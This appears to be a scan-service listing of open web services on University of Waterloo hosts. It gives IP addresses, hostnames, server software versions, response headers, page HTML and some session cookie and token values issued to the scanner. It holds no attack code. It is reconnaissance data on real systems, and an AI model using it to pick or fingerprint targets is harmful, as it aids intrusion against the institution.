<script type="text/javascript" src="/static/bundles/commons.20bdac4aef0c44b02b02.0aec685f1bf4.js" ></script>
<script>
window.baseUrl = "/static/";
(function (require) {
require.config({
baseUrl: window.baseUrl
});
}).call(this, require || RequireJS.require);
</script>
<script type="text/javascript" src="/static/lms/js/require-config.dc07836174b8.js"></script>
<script type="text/javascript">
(function (require) {
require.config({
paths: {
'course_bookmarks/js/views/bookmark_button': 'course_bookmarks/js/views/bookmark_button.5192bfbedbfb',
'js/views/message_banner': 'js/views/message_banner.141974fd4f5d',
'moment': 'common/js/vendor/moment-with-locales.8afc1b9c35cd',
'moment-timezone': 'common/js/vendor/moment-timezone-with-data.80966a612306',
'js/courseware/course_info_events': 'js/courseware/course_info_events.2fc35b57627f',
'js/courseware/accordion_events': 'js/courseware/accordion_events.6064c7809de5',
'js/dateutil_factory': 'js/dateutil_factory.762fd6ff462b',
'js/courseware/link_clicked_events': 'js/courseware/link_clicked_events',
'js/courseware/toggle_element_visibility': 'js/courseware/toggle_element_visibility.474ff5ba9de3',
'js/student_account/logistration_factory': 'js/student_account/logistration_factory.df4e41783d02',
'js/courseware/courseware_factory': 'js/courseware/courseware_factory.1504fc10caef',
'js/groups/views/cohorts_dashboard_factory': 'js/groups/views/cohorts_dashboard_factory.f9c69d089f31',
'js/groups/discussions_management/discussions_dashboard_factory': 'js/discussions_management/views/discussions_dashboard_factory.2e10d9097343',
'draggabilly': 'js/vendor/draggabilly.26caba6f7187',
'hls': 'common/js/vendor/hls.3026d7d10201'
}
});
}).call(this, require || RequireJS.require);
</script>
<script type="application/json" id="user-metadata">
null
</script>
<!-- dummy Segment -->
<script type="text/javascript">
var analytics = {
track: function() { return; },
trackLink: function() { return; },
pageview: function() { return; },
page: function() { return; }
};
</script>
<!-- end dummy Segment -->
<meta name="path_prefix" content="">
<meta name="openedx-release-line" content="sumac" />
<script type="text/javascript">
(function(require) {
require(['uw_cs_theme/js/ace/ace', 'uw_cs_theme/js/user_settings.min', 'uw_cs_theme/js/uw_code_editor', 'uw_cs_theme/js/code_block', 'uw_cs_theme/js/uw_dictionary', 'uw_cs_theme/js/jquery.xblock', 'uw_cs_the
Open service 129.97.152.208:443 · andromeda-208.cs.uwaterloo.ca
2026-01-26 10:56
HTTP/1.1 200 OK
Server: nginx/1.24.0 (Ubuntu)
Date: Mon, 26 Jan 2026 10:56:53 GMT
Content-Type: text/html
Content-Length: 429
Last-Modified: Thu, 22 Jan 2026 17:23:28 GMT
Connection: close
ETag: "69725d10-1ad"
Accept-Ranges: bytes
Page title: Chrysalis AI
<!DOCTYPE html>
<html lang="">
<head>
<meta charset="UTF-8">
<link rel="icon" href="/icon.svg">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Chrysalis AI</title>
<script type="module" crossorigin src="/assets/index-CbRPVG-y.js"></script>
<link rel="stylesheet" crossorigin href="/assets/index-C4qjXrQD.css">
</head>
<body>
<div id="app"></div>
</body>
</html>
Open service 129.97.152.208:80 · andromeda-208.cs.uwaterloo.ca
2026-01-26 10:56
HTTP/1.1 301 Moved Permanently Server: nginx/1.24.0 (Ubuntu) Date: Mon, 26 Jan 2026 10:56:53 GMT Content-Type: text/html Content-Length: 178 Connection: close Location: https://andromeda-208.cs.uwaterloo.ca/ Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.24.0 (Ubuntu)</center> </body> </html>
Open service 129.97.134.112:443 · photos.csclub.uwaterloo.ca
2026-01-26 10:13
HTTP/1.1 400 Bad Request
Server: nginx
Date: Mon, 26 Jan 2026 10:13:51 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Set-Cookie: oc_sessionPassphrase=fbgOw1HttS%2F8Mhh8ZRi2wZuKrQp3odcxm7%2FLyvUrGbuhFP2%2FJQem%2Ba5%2FTNW7YcI%2B3CWsgVbFz4dNoBaMsj7LRA8lHqyrga%2FyTbWn%2B7gAf77jWr%2BWIzW%2BaxqSmoUDqf9L; path=/; secure; HttpOnly; SameSite=Lax
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-QL7O3gNWAMOnfKpmcmxHDv4QcpIfxnh/2WjPMfyndq4='; style-src 'self' 'unsafe-inline'; frame-src *; img-src * data: blob:; font-src 'self' data:; media-src *; connect-src *; object-src 'none'; base-uri 'self';
Set-Cookie: __Host-nc_sameSiteCookielax=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=lax
Set-Cookie: __Host-nc_sameSiteCookiestrict=true; path=/; httponly;secure; expires=Fri, 31-Dec-2100 23:59:59 GMT; SameSite=strict
Set-Cookie: ocaem1pppzdj=dee201af9892b760c384edeba735c855; path=/; secure; HttpOnly; SameSite=Lax
Strict-Transport-Security: max-age=15768000;
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
X-Robots-Tag: noindex, nofollow
Page title:
Nextcloud
<!DOCTYPE html>
<html class="ng-csp" data-placeholder-focus="false" lang="en" data-locale="en" translate="no" >
<head
data-requesttoken="dPyjilcldPP0MMQROD4lOqshQdht6ToFtwqZBZ3rO5w=:QL7O3gNWAMOnfKpmcmxHDv4QcpIfxnh/2WjPMfyndq4=">
<meta charset="utf-8">
<title>
Nextcloud </title>
<meta name="csp-nonce" nonce="QL7O3gNWAMOnfKpmcmxHDv4QcpIfxnh/2WjPMfyndq4=">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<meta name="apple-itunes-app" content="app-id=1125420102">
<meta name="theme-color" content="#00679e">
<link rel="icon" href="/apps/theming/favicon?v=326e9638">
<link rel="apple-touch-icon" href="/apps/theming/icon?v=326e9638">
<link rel="mask-icon" sizes="any" href="/core/img/favicon-mask.svg" color="#00679e">
<link rel="manifest" href="/core/img/manifest.json" crossorigin="use-credentials">
<link rel="stylesheet" href="/apps/theming/css/default.css?v=47d1f581-10">
<link rel="stylesheet" href="/core/css/guest.css?v=0accd944-10">
<script nonce="QL7O3gNWAMOnfKpmcmxHDv4QcpIfxnh/2WjPMfyndq4=">
var _oc_debug=false;
var _oc_isadmin=false;
var backendAllowsPasswordConfirmation=true;
var oc_dataURL=false;
var _oc_webroot="";
var _oc_appswebroots={"activity":"/apps/activity","announcementcenter":"/apps/announcementcenter","audioplayer":"/apps/audioplayer","bruteforcesettings":"/apps/bruteforcesettings","calendar":"/apps/calendar","camerarawpreviews":"/apps/camerarawpreviews","circles":"/apps/circles","cloud_federation_api":"/apps/cloud_federation_api","comments":"/apps/comments","contactsinteraction":"/apps/contactsinteraction","cospend":"/apps/cospend","dashboard":"/apps/dashboard","dav":"/apps/dav","end_to_end_encryption":"/apps/end_to_end_encryption","epubviewer":"/apps/epubviewer","external":"/apps/external","federatedfilesharing":"/apps/federatedfilesharing","federation":"/apps/federation","files":"/apps/files","files_downloadlimit":"/apps/files_downloadlimit","files_pdfviewer":"/apps/files_pdfviewer","files_reminders":"/apps/files_reminders","files_sharing":"/apps/files_sharing","files_trashbin":"/apps/files_trashbin","files_versions":"/apps/files_versions","firstrunwizard":"/apps/firstrunwizard","forms":"/apps/forms","groupfolders":"/apps/groupfolders","integration_google":"/apps/integration_google","logreader":"/apps/logreader","lookup_server_connector":"/apps/lookup_server_connector","memories":"/apps/memories","nextcloud_announcements":"/apps/nextcloud_announcements","notifications":"/apps/notifications","notify_push":"/apps/notify_push","oauth2":"/apps/oauth2","password_policy":"/apps/password_policy","photos":"/apps/photos","previewgenerator":"/apps/previewgenerator","privacy":"/apps/privacy","profile":"/apps/profile","provisioning_api":"/apps/provisioning_api","quota_warning":"/apps/quota_warning","recognize":"/apps/recognize","recommendations":"/apps/recommendations","related_resources":"/apps/related_resources","richdocuments":"/apps/richdocuments","serverinfo":"/apps/serverinfo","settings":"/apps/settings","sharebymail":"/apps/sharebymail","survey_client":"/apps/survey_client","systemtags":"/apps/systemtags","text":"/apps/text","theming":"/apps/theming","twofactor_backupcodes":"/apps/twofactor_backupcodes","updatenotification":"/apps/updatenotification","user_ldap":"/apps/user_ldap","user_oidc":"/apps/user_oidc","user_status":"/apps/user_status","viewer":"/apps/viewer","weather_status":"/apps/weather_status","webhook_listeners":"/apps/webhook_listeners","workflowengine":"/apps/workflowengine"};
var datepickerFormatDate="M\/d\/yy";
var nc_lastLogin=0;
var nc_pageLoad=1769422431;
var dayNames=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"];
var dayNamesShort=["Sun.","Mon.","Tue.","Wed.","Thu.","Fri.","Sat."];
var dayNamesMin=["Su","Mo","Tu","We","Th","Fr","Sa"];
var monthNames=["January","February","March","April","May","June","July","August","September","October","November","December"];
var monthNamesShort=["Jan.","Feb.","Mar.","Apr.","May.","Jun.","Jul.","Aug.","Sep.","Oct.","Nov.","Dec."];
var firstDay=0;
var _oc_con
Open service 129.97.134.112:80 · photos.csclub.uwaterloo.ca
2026-01-26 10:13
HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 26 Jan 2026 10:13:52 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://files.csclub.uwaterloo.ca/ Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx</center> </body> </html>
Open service 129.97.206.21:80 · shiny-stage.math.uwaterloo.ca
2026-01-26 05:40
HTTP/1.1 308 Permanent Redirect Connection: close Location: https://shiny-stage.math.uwaterloo.ca/ Server: Caddy Date: Mon, 26 Jan 2026 05:41:25 GMT Content-Length: 0
Open service 129.97.206.21:443 · shiny-stage.math.uwaterloo.ca
2026-01-26 05:40
HTTP/1.1 307 Temporary Redirect Alt-Svc: h3=":443"; ma=2592000 Location: https://checkvpn.uwaterloo.ca/?callback=https://shiny-stage.math.uwaterloo.ca/ Server: Caddy Date: Mon, 26 Jan 2026 05:40:55 GMT Content-Length: 0 Connection: close
Open service 35.182.192.50:443 · core.uwaterloo.ca
2026-01-26 05:02
HTTP/1.1 200 OK Date: Mon, 26 Jan 2026 05:02:11 GMT Server: Apache/2.4.29 (Ubuntu) Link: <https://core.uwaterloo.ca/wp-json/>; rel="https://api.w.org/" Link: <https://core.uwaterloo.ca/wp-json/wp/v2/pages/3565>; rel="alternate"; title="JSON"; type="application/json" Link: <https://core.uwaterloo.ca/>; rel=shortlink Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 35.182.192.50:80 · core.uwaterloo.ca
2026-01-26 05:02
HTTP/1.1 301 Moved Permanently Date: Mon, 26 Jan 2026 05:02:20 GMT Server: Apache/2.4.29 (Ubuntu) Location: https://core.uwaterloo.ca/ Content-Length: 317 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://core.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.29 (Ubuntu) Server at core.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.222.4:80 · games.uwaterloo.ca
2026-01-26 00:55
HTTP/1.1 301 Moved Permanently Date: Mon, 26 Jan 2026 00:53:15 GMT Server: Apache/2.4.52 (Ubuntu) Strict-Transport-Security: max-age=31536000; includeSubDomains Location: https://uwaterloo.ca/games-institute/ Content-Length: 329 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/games-institute/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at games.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.222.4:443 · games.uwaterloo.ca
2026-01-26 00:55
HTTP/1.1 301 Moved Permanently Date: Mon, 26 Jan 2026 00:52:57 GMT Server: Apache/2.4.52 (Ubuntu) Strict-Transport-Security: max-age=31536000; includeSubDomains Location: https://uwaterloo.ca/games-institute/ Content-Length: 330 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/games-institute/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at games.uwaterloo.ca Port 443</address> </body></html>
Open service 129.97.7.167:443 · ickok4o0go40kcowsocsow0c.pandora.cs.uwaterloo.ca
2026-01-25 21:06
HTTP/1.1 503 Service Unavailable Alt-Svc: h3=":443"; ma=2592000 Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sun, 25 Jan 2026 21:06:49 GMT Content-Length: 20 Connection: close no available server
Open service 72.32.236.26:443 · athletics.uwaterloo.ca
2026-01-25 12:10
HTTP/1.1 200 OK
Cache-Control: public, max-age=1800
Content-Type: text/html; charset=utf-8
Expires: Sun, 25 Jan 2026 12:40:28 GMT
Last-Modified: Sun, 25 Jan 2026 12:10:28 GMT
Vary: *
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Date: Sun, 25 Jan 2026 12:10:39 GMT
Connection: close
Content-Length: 1238377
Page title:
University of Waterloo Athletics - Official Athletics Website
<!doctype html>
<html id="ctl00_html" lang="en" class=" index homepage">
<head><!-- Transcend IAB frameworks -->
<!-- GPP -->
<script type='text/javascript'>
window.__gpp_addFrame=function(e){if(!window.frames[e]){if(document.body){var t=document.createElement('iframe');t.style.cssText='display:none',t.name=e,document.body.appendChild(t)}else window.setTimeout(window.__gppaddFrame,10,e)}},window.__gpp_stub=function(){var e=arguments;if(__gpp.queue=__gpp.queue||[],!e.length)return __gpp.queue;var t=e[0],a=e.length>1?e[1]:null,n=e.length>2?e[2]:null;if('ping'===t)return{gppVersion:'1.1',cmpStatus:'stub',cmpDisplayStatus:'hidden',supportedAPIs:['2:tcfeuv2','5:tcfcav1','6:uspv1'],cmpId:31,sectionList:[],applicableSections:[-1],gppString:''};if('events'===t)return __gpp.events;if('addEventListener'===t){__gpp.events=__gpp.events||[],'lastId'in __gpp||(__gpp.lastId=0),__gpp.lastId++;var s=__gpp.lastId;return __gpp.events.push({id:s,callback:a,parameter:n}),{eventName:'listenerRegistered',listenerId:s,data:!0,pingData:{gppVersion:'1.1',cmpStatus:'stub',cmpDisplayStatus:'hidden',supportedAPIs:['2:tcfeuv2','5:tcfcav1','9:usva','7:usnat'],cmpId:31,sectionList:[],applicableSections:[-1],gppString:''}}}if('removeEventListener'===t){var p=!1;__gpp.events=__gpp.events||[];for(var i=0;i<__gpp.events.length;i++)if(__gpp.events[i].id==n){__gpp.events[i].splice(i,1),p=!0;break}return{eventName:'listenerRemoved',listenerId:n,data:p,pingData:{gppVersion:'1.1',cmpStatus:'stub',cmpDisplayStatus:'hidden',supportedAPIs:['2:tcfeuv2','5:tcfcav1','9:usva','7:usnat'],cmpId:31,sectionList:[],applicableSections:[-1],gppString:''}}}if('hasSection'===t||'getSection'===t||'getField'===t)return null;__gpp.queue.push([].slice.apply(e))},window.__gpp_msghandler=function(e){var t='string'==typeof e.data;try{var a=t?JSON.parse(e.data):e.data}catch(n){var a=null}if('object'==typeof a&&null!==a&&'__gppCall'in a){var s=a.__gppCall;window.__gpp(s.command,function(a,n){var p={__gppReturn:{returnValue:a,success:n,callId:s.callId}};e.source.postMessage(t?JSON.stringify(p):p,'*')},'parameter'in s?s.parameter:null,'version'in s?s.version:'1.1')}},'__gpp'in window&&'function'==typeof window.__gpp||(window.__gpp=window.__gpp_stub,window.addEventListener('message',window.__gpp_msghandler,!1),window.__gpp_addFrame('__gppLocator'));
</script>
<script data-cfasync='false' onload='window.airgapLoadEvent=event' data-sync='off' src='https://transcend-cdn.com/cm/30fbff84-b0e3-4e26-9084-0b5158fdb1ed/airgap.js'></script><script>window.client_hostname = "athletics.uwaterloo.ca";window.client_title = "University of Waterloo";window.server_name = "1286967-APP101";window.client_division = "U Sports";window.targetting_criteria = {"page_template":"home","sport_name":"0","sport_name_custom":"0","site":"uwaterloo","cbs_site_code":"wloo","content_id":null,"sect":"frontpage"};window.client_shortname = "uwaterloo";window.dfp_network_code = "21708449227";window.img_dfp_unit_name = "";window.ad_full_unit_name = "SAExtended/waterloo";window.block_dfp = false;window.reactions = null;window.cbs_ads_activated = true;window.site_colors = {"safe_text_white":"#000000","safe_text_black":"#ffd900","primary_background":"#ffd900","primary_text":"#000000","secondary_background":"#000000","secondary_text":"#ffffff"};window.inactive_tab_title = "";window.site_in_dev_mode = false;window.sidearm_header_bidding_enabled = false;
window.utagData = function() {
return {
embedPageUrl: location.href,
brandPlatformId: "sidearm_site_" + (document.documentElement.clientWidth > 600 ? "desktop" : "mweb"),
pageViewGuid: PageTargetting.getPageviewGuid(),
_pageViewGuid: PageTargetting.getPageviewGuid() // cbs says they need it both /shrug
};
};
</script><!-- Begin comScore Tag -->
<script>
var _comscore = _comscore || [];
_comscore.push({ c1: "2", c2: "3005086" });
(
Open service 72.32.236.26:443 · varsity.uwaterloo.ca
2026-01-25 12:10
HTTP/1.1 301 Moved Permanently Location: https://athletics.uwaterloo.ca/ Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade Date: Sun, 25 Jan 2026 12:10:27 GMT Connection: close Content-Length: 0
Open service 72.32.236.26:443 · www.campusrec.uwaterloo.ca
2026-01-25 12:10
HTTP/1.1 301 Moved Permanently Location: https://athletics.uwaterloo.ca/ Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade Date: Sun, 25 Jan 2026 12:10:27 GMT Connection: close Content-Length: 0
Open service 72.32.236.26:443 · campusrec.uwaterloo.ca
2026-01-25 12:10
HTTP/1.1 301 Moved Permanently Location: https://athletics.uwaterloo.ca/ Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade Date: Sun, 25 Jan 2026 12:10:27 GMT Connection: close Content-Length: 0
Open service 72.32.236.26:443 · www.varsity.uwaterloo.ca
2026-01-25 12:10
HTTP/1.1 301 Moved Permanently Location: https://athletics.uwaterloo.ca/ Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade Date: Sun, 25 Jan 2026 12:10:27 GMT Connection: close Content-Length: 0
Open service 72.32.236.26:443 · warriors.uwaterloo.ca
2026-01-25 12:10
HTTP/1.1 301 Moved Permanently Location: https://athletics.uwaterloo.ca/ Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade Date: Sun, 25 Jan 2026 12:10:27 GMT Connection: close Content-Length: 0
Open service 2a04:4e42:400::645:443 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 200 OK
Connection: close
Content-Length: 119184
Cache-Control: max-age=180, public
Content-Language: en
Content-Type: text/html; charset=UTF-8
Etag: W/"1769285020"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 24 Jan 2026 20:03:40 GMT
Server: nginx
Strict-Transport-Security: max-age=31622400
X-Content-Type-Options: nosniff
X-Drupal-Cache: HIT
X-Drupal-Dynamic-Cache: MISS
X-Frame-Options: SAMEORIGIN
X-Generator: Drupal 9 (https://www.drupal.org)
X-Pantheon-Styx-Hostname: styx-fe1fe2-g-d4b8475f9-v24xx
X-Styx-Req-Id: aa9ecdcc-f9be-11f0-be97-e6ad84dab020
X-Ua-Compatible: IE=edge
Age: 1
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
Date: Sun, 25 Jan 2026 08:55:23 GMT
X-Served-By: cache-yyz4548-YYZ, cache-sin-wsat1880078-SIN, cache-sin-wsss1830081-SIN
X-Cache: HIT, HIT, MISS
X-Cache-Hits: 2, 3, 0
X-Timer: S1769331324.881920,VS0,VE7
Vary: Accept-Encoding, Cookie, Cookie, Cookie
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
x-var-slug: /
<!DOCTYPE html>
<html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# " class="no-js">
<head>
<meta charset="utf-8" /><script type="text/javascript">(window.NREUM||(NREUM={})).init={privacy:{cookies_enabled:true},ajax:{deny_list:["bam.nr-data.net"]},feature_flags:["soft_nav"],distributed_tracing:{enabled:true}};(window.NREUM||(NREUM={})).loader_config={agentID:"1103280112",accountID:"4165269",trustKey:"66686",xpid:"UAcBVFRVARABVFhaBQMHUlYJ",licenseKey:"NRJS-00798bf011f7ec1aa7f",applicationID:"1098220428",browserID:"1103280112"};;/*! For license information please see nr-loader-spa-1.308.0.min.js.LICENSE.txt */
(()=>{var e,t,r={384:(e,t,r)=>{"use strict";r.d(t,{NT:()=>a,US:()=>u,Zm:()=>o,bQ:()=>d,dV:()=>c,pV:()=>l});var n=r(6154),i=r(1863),s=r(1910);const a={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net"};function o(){return n.gm.NREUM||(n.gm.NREUM={}),void 0===n.gm.newrelic&&(n.gm.newrelic=n.gm.NREUM),n.gm.NREUM}function c(){let e=o();return e.o||(e.o={ST:n.gm.setTimeout,SI:n.gm.setImmediate||n.gm.setInterval,CT:n.gm.clearTimeout,XHR:n.gm.XMLHttpRequest,REQ:n.gm.Request,EV:n.gm.Event,PR:n.gm.Promise,MO:n.gm.MutationObserver,FETCH:n.gm.fetch,WS:n.gm.WebSocket},(0,s.i)(...Object.values(e.o))),e}function d(e,t){let r=o();r.initializedAgents??={},t.initializedAt={ms:(0,i.t)(),date:new Date},r.initializedAgents[e]=t}function u(e,t){o()[e]=t}function l(){return function(){let e=o();const t=e.info||{};e.info={beacon:a.beacon,errorBeacon:a.errorBeacon,...t}}(),function(){let e=o();const t=e.init||{};e.init={...t}}(),c(),function(){let e=o();const t=e.loader_config||{};e.loader_config={...t}}(),o()}},782:(e,t,r)=>{"use strict";r.d(t,{T:()=>n});const n=r(860).K7.pageViewTiming},860:(e,t,r)=>{"use strict";r.d(t,{$J:()=>u,K7:()=>c,P3:()=>d,XX:()=>i,Yy:()=>o,df:()=>s,qY:()=>n,v4:()=>a});const n="events",i="jserrors",s="browser/blobs",a="rum",o="browser/logs",c={ajax:"ajax",genericEvents:"generic_events",jserrors:i,logging:"logging",metrics:"metrics",pageAction:"page_action",pageViewEvent:"page_view_event",pageViewTiming:"page_view_timing",sessionReplay:"session_replay",sessionTrace:"session_trace",softNav:"soft_navigations",spa:"spa"},d={[c.pageViewEvent]:1,[c.pageViewTiming]:2,[c.metrics]:3,[c.jserrors]:4,[c.spa]:5,[c.ajax]:6,[c.sessionTrace]:7,[c.softNav]:8,[c.sessionReplay]:9,[c.logging]:10,[c.genericEvents]:11},u={[c.pageViewEvent]:a,[c.pageViewTiming]:n,[c.ajax]:n,[c.spa]:n,[c.softNav]:n,[c.metrics]:i,[c.jserrors]:i,[c.sessionTrace]:s,[c.sessionReplay]:s,[c.logging]:o,[c.genericEvents]:"ins"}},944:(e,t,r)=>{"use strict";r.d(t,{R:()=>i});var n=r(3241);function i(e,t){"function"==typeof console.debug&&(console.debug("New Relic Warning: https://github.com/newrelic/newrelic-browser-agent/blob/main/docs/warning-codes.md#".concat(e),t),(0,n.W)({agentIdentifier:null,drained:null,type:"data",name:"warn",feature:"warn",data:{code:e,secondary:t}}))}},993:(e,t,r)=>{"use strict";r.d(t,{A$:()=>s,ET:()=>a,TZ:()=>o,p_:()=>i});var n=r(860);const i={ERROR:"ERROR",WARN:"WARN",INFO:"INFO",DEBUG:"DEBUG",TRACE:"TRACE"},s={OFF:0,ERROR:1,WARN:2,INFO:3,DEBUG:4,TRACE:5},a="log",o=n.K7.logging},1541:(e,t,r)=>{"use strict";r.d(t,{U:()=>i,f:()=>n});const n={MFE:"MFE",BA:"BA"};function i(e,t){if(2!==t?.harvestEndpointVersion)return{};const r=t.agentRef.runtime.appMetadata.agents[0].entityGuid;return e?{"source.id":e.id,"source.name":e.name,"source.type":e.type,"parent.id":e.parent?.id||r,"parent.type":e.parent?.type||n.BA}:{"entity.guid":r,appId:t.agentRef.info.applicationID}}},1687:(e,t,r)=>{"use strict";r.d(t,{Ak:()=>d,Ze:()=>h,x3:()=>u});var n=r(3241),i=r(7836),s=r(3606),a=r(860),o=r(2646);const c={};function d(e,t){const r={staged:!1,priority:a.P3[t]||0};l(e),c[e].get(t)||c[e].set(t,r)}function u(e,t){e&&c[
Open service 151.101.2.132:443 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 200 OK
Connection: close
Content-Length: 119184
Cache-Control: max-age=180, public
Content-Language: en
Content-Type: text/html; charset=UTF-8
Etag: W/"1769285020"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 24 Jan 2026 20:03:40 GMT
Server: nginx
Strict-Transport-Security: max-age=31622400
X-Content-Type-Options: nosniff
X-Drupal-Cache: HIT
X-Drupal-Dynamic-Cache: MISS
X-Frame-Options: SAMEORIGIN
X-Generator: Drupal 9 (https://www.drupal.org)
X-Pantheon-Styx-Hostname: styx-fe1fe2-g-d4b8475f9-v24xx
X-Styx-Req-Id: aa9ecdcc-f9be-11f0-be97-e6ad84dab020
X-Ua-Compatible: IE=edge
Age: 1
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
Date: Sun, 25 Jan 2026 08:55:23 GMT
X-Served-By: cache-yyz4548-YYZ, cache-sin-wsat1880078-SIN, cache-sin-wsat1880025-SIN
X-Cache: HIT, HIT, MISS
X-Cache-Hits: 2, 2, 0
X-Timer: S1769331324.885554,VS0,VE4
Vary: Accept-Encoding, Cookie, Cookie, Cookie
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io 